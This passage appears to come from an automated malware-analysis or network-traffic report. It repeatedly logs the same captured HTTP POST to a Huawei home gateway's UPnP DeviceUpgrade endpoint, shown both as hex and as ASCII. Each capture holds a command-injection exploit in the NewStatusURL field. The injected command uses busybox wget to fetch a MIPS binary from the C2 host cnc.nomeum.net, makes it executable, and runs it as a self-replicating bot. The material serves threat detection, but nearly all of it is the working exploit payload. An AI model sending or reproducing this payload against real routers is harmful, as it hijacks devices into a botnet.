cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 